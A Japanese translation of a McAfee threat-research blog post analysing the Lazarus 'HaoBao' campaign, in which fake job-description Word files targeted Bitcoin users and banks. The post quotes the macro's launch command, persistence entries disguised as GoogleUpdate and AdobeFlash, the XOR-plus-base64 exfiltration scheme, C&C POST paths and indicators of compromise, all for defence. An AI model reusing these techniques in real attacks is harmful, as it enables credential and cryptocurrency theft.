Lazarusが再び攻撃を開始、ターゲットは世界中の銀行とBitcoinユーザー

マカフィーの調査チームであるMcAfee Advanced Threat Research (ATR)は、国際的なサイバー犯罪組織Lazarusによる、長期的に影響をもたらす高度なマルウェアを使用した活発なBitcoinフィッシング攻撃を発見しました。 この攻撃はHaoBaoと名付けられ、以前にLazarusが行っていた従業員募集を騙ったフィッシングメールが再び使用されていますが、今回はBitcoinのユーザーと世界中の金融機関を標的にしています。メールに添付された文書を開くと、マルウェアは被害者のBitcoin関連の行動をスキャンし、長期的なデータ収集のためのスクリプトを実行します。HaoBaoが狙う新たな標的とこれまでに見たことのないスクリプトは、Lazarusによる暗号通貨を狙った高度なサイバー犯罪のための野心を感じさせるものでした。

背景

Lazarusは、2017年には従業員募集を装った悪意ある文書を含んだスピアフィッシングメールによって個人を主な標的としていました。この攻撃は4月から10月にかけて行われ、英語と韓国語の両方で、標的となった組織に関連する職務内容が記述されていました。この攻撃の目的は、標的の周辺へのアクセスを確立し、重要な軍事計画に関する情報を取得したり、金銭を盗むことでした。2017年の攻撃の標的は、防衛産業や金融機関(暗号通貨の取引所を含む)などでしたが、数か月ほど経つと、この偽の求人の多くは途絶え、最後に攻撃が確認されたのは2017年10月22日でした。

Analysis

1月15日、McAfee ATRは、香港にある多国籍銀行の営業開発役員の求人を装った、悪意ある文書を発見しました。文書は、Dropboxを介して次のURLで配布されました。 

URL: hxxps://www.dropbox.com/s/qje0yrz03au66d0/JobDescription.doc?dl=1

2017年にみられた手法、技術、手順が用いられているものの、これは新たな攻撃の兆しでした。この文章の作成者は「Windows User」となっており、2018年1月6日に韓国語で作成されました。同じ作成者による悪意ある文書が、1月16日から1月24日にかけて追加で出現しました。

Virus Totalによる文書の概要
求人に添付されていた悪意ある文書

被害者は、文書がMicrosoft Wordの従来のバージョンで作成されたという通知とともに、コンテンツを有効にするよう指示されます。すると、悪意ある文書はVisual Basicマクロを介してシステム上でスクリプトを実行します。

悪意あるMicrosoft Word文書
用いられたスクリプト

2018年1月24日に作成されたドキュメント(7e70793c1ca82006775a0cac2bd75cc9ada37d7c)は、lsm.exe(535f212b320df049ae8b8ebe0a4f93e3bd25ed79)という名前で2018年1月22日にコンパイルされたスクリプトを埋め込み、実行します。スクリプトlsm.exeは、worker.co.krのIPアドレスである210.122.7.129にコンタクトをとっていました。2018年1月19日に作成されたもう一つの文書(a79488b114f57bd3d8a7fa29e7647e2281ce21f6)はスクリプト(afb2595ce1ecf0fdb9631752e32f0e32be3d51bb)を埋め込みます。 lsm.exeと99%の類似を示しています。

この文書は、Dropboxの次のURLから配布されています:

    • hxxps://dl.dropboxusercontent.com/content_link/AKqqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1
    • hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1
職務内容の文書のHTTPレスポンス

2018年1月15日にコンパイルされたこのスクリプト(csrss.exe)は、deltaemis.comのIPアドレス70.42.52.80に接続します。 このドメインは、シコルスキー社のプログラムを標的とした2017年の攻撃における、悪意ある文書をホストするために使用されていたことがわかりました。

  • hxxp://deltaemis.com/CRCForm/3E_Company/Sikorsky/E4174/JobDescription.doc

2018年1月19日に作成された3つ目の悪意ある文書(dc06b737ce6ada23b4d179d81dc7d910a7dbfdde)は、2018年1月15日にコンパイルされたe8faa68daf62fbe2e10b3bac775cce5a3bb2999eを埋め込みます。このスクリプトは、palgong-cc.co.krである韓国のIPアドレス221.164.168.185と通信します。

McAfee ATRの分析では、埋め込まれたスクリプトはインターネット上で以前に見られたものではなく、2017年以前のLazarusの攻撃でも使用されていませんでした。さらに、この攻撃では、二段階目のダウンロードで持続性を得るために、ワンタイムデータ収集スクリプトが導入されています。 スクリプトには、Visual Basicマクロから実行する際のスイッチとして、単語「haobao」がハードコーディングされています。

悪意ある文書の分析

文書には、Visual Basicのマクロに埋め込まれた、暗号化された文字列配列の形式で2つのペイロードデータが含まれています。ペイロードデータは、暗号化された文字列配列であり、メモリ内で復号された後、ディスクに書き込まれ、順番に起動されます(二段階目のバイナリがまず起動され、次に偽の文書が開かれます)。

VBAのマクロは、OLEドキュメント(MS Word文書)が(“Sub AutoOpen()”を介して)開かれたときに自動で実行されるように構成されています。VBAマクロのAutoOpen()関数は、タスクを次のように実行します。

  • 二段階目のバイナリペイロードの標的であるファイルパスをデコードします。このファイルパスは、現在のユーザーのTempフォルダの場所に基づき、次のように計算されます。

<temp_dir_path>\.\lsm.exe

二段階目のファイルパスを復号するVisual Basicのコード
  • メモリ内にある二段階目のバイナリをデコードし、%temp%\.\ lsm.exeファイルが存在する場所に書き込みます。

VBAマクロ内で暗号化された文字列配列として存在する二段階目のバイナリ(MZ)
VBAマクロによってメモリ内にデコードされた二段階目のバイナリ(MZ)

  • 二段階目のペイロードをディスクに書き込んだ後、VBAコードは2つの重要な処理を実行します。
      • exeを用いて二段階目のペイロードを実行します。 これにより、ペイロードの起動と同時にcmd.exeプロセスを確立します。 この方法では、プロセス列挙ツールは親プロセスを発見することができず、発見は困難になります。
          二段階目のバイナリを実行するcmdline:
        • cmd.exe /c start /b <temp_dir_path>\.\lsm.exe /haobao
    • 次のcmd引数を使用し、ユーザーのスタートアップフォルダにショートカットを作成して、システムを持続的なものにします。

    リンクファイルを行うcmdline: <temp_dir_path>\.\lsm.exe /haobao
    リンクファイルの名称: GoogleUpdate.lnk

    二段階目のバイナリを実行し、持続性を確立するためのコード
    持続性を得るためのLNKファイルの設定

    • 二段階目のペイロードが開始されると、VBAマクロは偽の文書をエンドユーザーに表示します。この文書は、暗号化された文字列配列(二段階目のペイロードと同様)としてVBAマクロにも格納され、ユーザーのtempディレクトリに以下のファイル名、ファイルパスで書き込まれます。

    <temp_dir_path> \.\ Job Description.doc

    VBAマクロによってメモリ内でデコードされる偽の文書
    • 偽の文書がディスクに書き込まれると、VBAマクロはそのファイル属性をSyestem + Hiddenに設定します。
    • その後、VBAマクロによって文書が開かれ、元の(悪意ある)文書の見出しが偽の文書にコピーされ、偽の文書を元の文書と間違えるように仕向けます。
    • このアクティビティは、VBAマクロによる、開いていた(悪意のある)文書の終了に合わせて、ユーザーに対し開かれている偽の文書が、ユーザーが開いた元の(悪意ある)文書であると勘違いさせることを目的としています。
    • 偽の文書は無害なファイルであり、マクロを含まないので、被害者は悪意ある行動が行われていると疑うことはありません。

    スクリプト分析

    スクリプト初期化のために、スクリプトは最初に以下のことを行います。

    • コマンドラインから渡された文字列をチェックします。
      • “/haobao” (535f212b320df049ae8b8ebe0a4f93e3bd25ed79の中)
      • “/pumpingcore” (e8faa68daf62fbe2e10b3bac775cce5a3bb2999eの中)

    マルウェアがcmdline引数でこの文字列を見つけられなかった場合、これ以上進むことなく終了します。

    • DLLをメモリに展開し、Reflective DLL injectionを使用して固有のインポートを呼び出します。

    調査中、私たちはDLLファイルの亜種を発見しました。

    DLL情報
    • Reflective DLLの読み込みの際に、マルウェアはメモリ内で展開されていないDLLに対して以下のタスクを実行します。
      • 展開されていないDLLの、マルウェアのメモリ空間内の新しい場所へのコピー
      • DLLに必要なビルドのインポート(DLLのIATに基づく)
    DLL インポート用のマルウェアのビルダーコードをインポート
    • DLL_PROCESS_MATCHを使用して、新しく読み込まれたDLLイメージのエントリポイント(DllMain)を呼び出して、マルウェアプロセスでDLLをロードします。
    メモリ内のDLLのロードを終了するためにマルウェアから呼び出しを行うDLL Entry Point
    • “CoreDn”という名前のDLLで悪意あるエクスポートを呼び出します。
    マルウェア内でハードコードされたDLLエクスポート名“CoreDn”

    以下で説明するすべての攻撃は、別段の指定がないかぎり、DLLによって実行されます。

    データ偵察

    スクリプトは、被害者のシステムからデータを収集する能力を持っています。以下の情報が収集され、C&Cサーバーに送信されます。

    • コンピュータ名と現在ログオンしているユーザーの名前。次の形式で保存されます。

    <ComputerName> \ <Username>

    コンピュータ名とユーザー名を取得するマルウェア
    • システム上で実行中のすべてのプロセスのリスト。次の形式で保存されます。

    <Process Name>\r\n
    <Process Name>\r\n
    <Process Name>\r\n
    <Process Name>\r\n

    エンドポイントからプロセス情報を収集するマルウェア
    • システム上の特定のレジストリキーの存在
      HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt
    • マルウェアは、上記のレジストリキーをユーザーのレジストリ内で発見できたかどうかを示すインジケータ(フラグ)を追加します。

    このキーは、C&C通信の一部として再度チェックされ、HTTP POST要求のC&Cに複製された値が送信されます(以下で説明)。

    レジストリキーの有無を確認するマルウェア

    抽出

    準備

    エンドポイントから収集した情報の抽出のために、マルウェアは以下を行います:

    • バイト・キー0x34を用いた単純な排他的論理和演算を使用して、収集した情報をエンコード
    • Base64が排他的論理和演算を行ったデータをエンコード(標準)
    • 再度、レジストリキー: HKCU\Software\Bitcoin\Bitcoin-Qtの有無を確認

    C&Cサーバーとの通信

    マルウェアがこれらすべてのアクティビティを実行すると、HTTP POST要求を次のC&Cサーバーに送信します。:

    • www[dot]worker.co.kr for md5 BDAEDB14723C6C8A4688CC8FC1CFE668
    • www[dot]palgong-cc.co.kr for md5 D4C93B85FFE88DDD552860B148831026

    以下の形式で送信されます:

    HTTP POST to www[dot]worker.co.kr
    /board2004/Upload/files/main.asp?idx=%d&no=%s&mode=%s

    または

    HTTP POST to www[dot]palgong-cc.co.kr
    /html/course/course05.asp?idx=%d&no=%s&mode=%s
    where
    idx= 20 (14h) …レジストリキーが存在しない場合; 24 (18h)…存在する場合
    no= XORed + base64 encoded “<Computername> \ <username>”
    mode= XORed + base64 encoded Process listing + Registry key flag

    C&Cサーバーのドメイン

    持続性

    マルウェアの持続性メカニズムは、ダウンロードされたスクリプトに対してのみ実行されます。被害者による文書のロード時に最初に実行されるvisual basicのマクロコードを介して、スクリプトの持続性が確立されますが、マルウェアがダウンロードしたスクリプトを正常に実行できなければ、確立されることはありません。マルウェアは、最初にHKEY_LOCAL_MACHINEレジストリキーを更新しようとします。失敗した場合は、HKEY_CURRENT_USERレジストリキーも更新しようとします。エンドポイントでの持続性を達成するためにレジストリに書き込まれる値は次の通りです。

    Registry Subkey = Software\Microsoft\Windows\CurrentVersion\Run
    Value Name = AdobeFlash
    Value Content = “C:\DOCUME~1\<username>\LOCALS~1\Temp\OneDrive.exe” LZXlyJelgqUpKzP

    レジストリベースの二段階目のペイロードの持続性

    2017年の攻撃とのつながり

    技術、手法、手順は、2017年に米国の防衛産業やエネルギー部門、金融機関、暗号通貨取引所を標的にした攻撃に非常によく似ています。同じ作成者Windows Userが、2017年に暗号通貨をターゲットにした2つの悪意ある文書-비트코인_지갑주소_및_거래번호.doc と 비트코인 거래내역.xlsに登場しました。さらに、スクリプトの1つは、シコルスキーの軍事計画の件を含む、2017年の偽の職務内容文書のホスティングに関与していたIPアドレスと通信を行っていました。McAfee ATRは、以下の理由により、Lazarusがこの攻撃の背後にある集団であるということを断定します。

    • 2017年にLazarusの以前の攻撃において悪意ある文書をホスティングするために使用されたIPアドレスやドメインと通信を使用
    • これらの悪意ある文書の作者は、Lazarusの2017年の攻撃で登場した同じ作成者
    • 以前のLazarusの攻撃で見られたのと同じ文書構造と、似た求人広告を使用
    • 技術、手法、手順などLazarusの暗号通貨搾取の手法を使用

    結論

    McAfee ATRによる最新の調査でわかったことは、Lazarusは同様の手口での犯行を一時停止していましたが、再度暗号通貨と金融機関をターゲットにしていることです。さらに、収集データを少量化することで攻撃対象を迅速に特定することができるモジュールの使用が増加しています。この攻撃は、特定のシステムスキャンによってBitcoin関連のソフトウェアを実行しているユーザーを特定するために行われています。

    脅威の痕跡

    MITRE ATT&CK techniques

    • データ暗号化
    • 暗号化されたデータ
    • コマンドラインインターフェイス
    • アカウント検出
    • プロセス発見
    • クエリレジストリ
    • 隠しファイル、ディレクトリ
    • カスタム暗号プロトコル
    • レジストリ実行キー、スタートアップフォルダ
    • スタートアップ項目
    • 一般的に使用されるポート
    • C&Cへの抽出

    IPs

    • 210.122.7.129
    • 70.42.52.80
    • 221.164.168.185

    URL

    • hxxps://dl.dropboxusercontent.com/content_link/AKqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1
    • hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1

    Hash

    • dc06b737ce6ada23b4d179d81dc7d910a7dbfdde
    • a79488b114f57bd3d8a7fa29e7647e2281ce21f6
    • 7e70793c1ca82006775a0cac2bd75cc9ada37d7c
    • 535f212b320df049ae8b8ebe0a4f93e3bd25ed79
    • 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd
    • afb2595ce1ecf0fdb9631752e32f0e32be3d51bb
    • e8faa68daf62fbe2e10b3bac775cce5a3bb2999e

    McAfee Detection

    • BackDoor-FDRO!
    • Trojan-FPCQ!
    • RDN/Generic Downloader.x
    • RDN/Generic Dropper
    • RDN/Generic.dx

     ※本ページの内容は、2018212日更新のMcAfee Blogの内容です。

    原文:Lazarus Resurfaces, Targets Global Banks and Bitcoin Users
    著者:Ryan Sherstobitoff